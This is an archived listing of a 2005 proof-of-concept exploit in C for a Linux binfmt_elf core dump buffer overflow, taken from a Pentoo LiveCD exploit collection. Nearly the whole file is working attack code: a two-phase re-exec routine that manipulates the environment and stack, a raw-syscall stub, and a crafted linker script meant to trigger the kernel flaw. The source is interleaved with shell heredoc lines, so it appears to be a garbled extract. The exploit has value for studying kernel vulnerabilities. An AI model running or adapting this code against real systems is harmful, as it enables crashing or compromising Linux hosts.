home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / linux / local / elfcd1.c < prev    next >
C/C++ Source or Header  |  2005-05-13  |  3KB  |  174 lines

  1. /*
  2. * Linux binfmt_elf core dump buffer overflow
  3. *
  4. * Copyright (c) 2005 iSEC Security Research. All Rights Reserved.
  5. *
  6. * THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
  7. * AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
  8. * WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
  9. *
  10. */
  11. // phase 1
  12. #include <stdio.h>
  13. #include <stdlib.h>
  14. #include <errno.h>
  15. #include <unistd.h>
  16.  
  17. #include <sys/time.h>
  18. #include <sys/resource.h>
  19.  
  20. #include <asm/page.h>
  21.  
  22.  
  23. static char *env[10], *argv[4];
  24. static char page[PAGE_SIZE];
  25. static char buf[PAGE_SIZE];
  26.  
  27.  
  28. void fatal(const char *msg)
  29. {
  30. if(!errno) {
  31. fprintf(stderr, "\nFATAL: %s\n", msg);
  32. }
  33. else {
  34. printf("\n");
  35. perror(msg);
  36. }
  37. fflush(stdout); fflush(stderr);
  38. _exit(129);
  39. }
  40.  
  41.  
  42. int main(int ac, char **av)
  43. {
  44. int esp, i, r;
  45. struct rlimit rl;
  46.  
  47. __asm__("movl %%esp, %0" : : "m"(esp));
  48. printf("\n[+] %s argv_start=%p argv_end=%p ESP: 0x%x", av[0], av[0], 
  49. av[ac-1]+strlen(av[ac-1]), esp);
  50. rl.rlim_cur = RLIM_INFINITY;
  51. rl.rlim_max = RLIM_INFINITY;
  52. r = setrlimit(RLIMIT_CORE, &rl);
  53. if(r) fatal("setrlimit");
  54.  
  55. memset(env, 0, sizeof(env) );
  56. memset(argv, 0, sizeof(argv) );
  57. memset(page, 'A', sizeof(page) );
  58. page[PAGE_SIZE-1]=0;
  59.  
  60. // move up env & exec phase 2
  61. if(!strcmp(av[0], "AAAA")) {
  62. printf("\n[+] phase 2, <RET> to crash "); fflush(stdout);
  63. argv[0] = "elfcd2";
  64. argv[1] = page;
  65.  
  66. // term 0 counts!
  67. memset(buf, 0, sizeof(buf) );
  68. for(i=0; i<789 + 4; i++)
  69. buf[i] = 'C';
  70. argv[2] = buf;
  71. execve(argv[0], argv, env);
  72. _exit(127);
  73. }
  74.  
  75. // move down env & reexec
  76. for(i=0; i<9; i++)
  77. env[i] = page;
  78.  
  79. argv[0] = "AAAA";
  80. printf("\n[+] phase 1"); fflush(stdout);
  81. execve(av[0], argv, env);
  82.  
  83. return 0;
  84. }
  85. __EOF__
  86. cat <<__EOF__>elfcd2.c
  87. // phase 2
  88. #include <stdio.h>
  89. #include <stdlib.h>
  90. #include <unistd.h>
  91. #include <syscall.h>
  92.  
  93. #include <sys/syscall.h>
  94.  
  95. #include <asm/page.h>
  96.  
  97. #define __NR_sys_read __NR_read
  98. #define __NR_sys_kill __NR_kill
  99. #define __NR_sys_getpid __NR_getpid
  100.  
  101.  
  102. char stack[4096 * 6];
  103. static int errno;
  104.  
  105.  
  106. inline _syscall3(int, sys_read, int, a, void*, b, int, l);
  107. inline _syscall2(int, sys_kill, int, c, int, a);
  108. inline _syscall0(int, sys_getpid);
  109.  
  110.  
  111. // yeah, lets do it
  112. void killme()
  113. {
  114. char c='a';
  115. int pid;
  116.  
  117. pid = sys_getpid();
  118. for(;;) {
  119. sys_read(0, &c, 1);
  120. sys_kill(pid, 11);
  121. }
  122. }
  123.  
  124.  
  125. // safe stack stub
  126. __asm__(
  127. " nop \n"
  128. "_start: movl \$0xbfff6ffc, %esp \n"
  129. " jmp killme \n"
  130. ".global _start \n"
  131. );
  132. __EOF__
  133. cat <<__EOF__>elfcd.ld
  134. OUTPUT_FORMAT("elf32-i386", "elf32-i386",
  135. "elf32-i386")
  136. OUTPUT_ARCH(i386)
  137. ENTRY(_start)
  138. SEARCH_DIR(/lib); SEARCH_DIR(/usr/lib); SEARCH_DIR(/usr/local/lib); 
  139. SEARCH_DIR(/usr/i486-suse-linux/lib);
  140.  
  141. MEMORY
  142. {
  143. ram (rwxali) : ORIGIN = 0xbfff0000, LENGTH = 0x8000
  144. rom (x) : ORIGIN = 0xbfff8000, LENGTH = 0x10000
  145. }
  146.  
  147. PHDRS
  148. {
  149. headers PT_PHDR PHDRS ;
  150. text PT_LOAD FILEHDR PHDRS ;
  151. fuckme PT_LOAD AT (0xbfff8000) FLAGS (0x00) ;
  152. }
  153.  
  154. SECTIONS
  155. {
  156.  
  157. .dupa 0xbfff8000 : AT (0xbfff8000) { LONG(0xdeadbeef); _bstart = . ; . += 0x7000; } >rom :fuckme
  158.  
  159. . = 0xbfff0000 + SIZEOF_HEADERS;
  160. .text : { *(.text) } >ram :text
  161. .data : { *(.data) } >ram :text
  162. .bss :
  163. {
  164. *(.dynbss)
  165. *(.bss)
  166. *(.bss.*)
  167. *(.gnu.linkonce.b.*)
  168. *(COMMON)
  169. . = ALIGN(32 / 8);
  170. } >ram :text
  171.  
  172. }
  173.  
  174.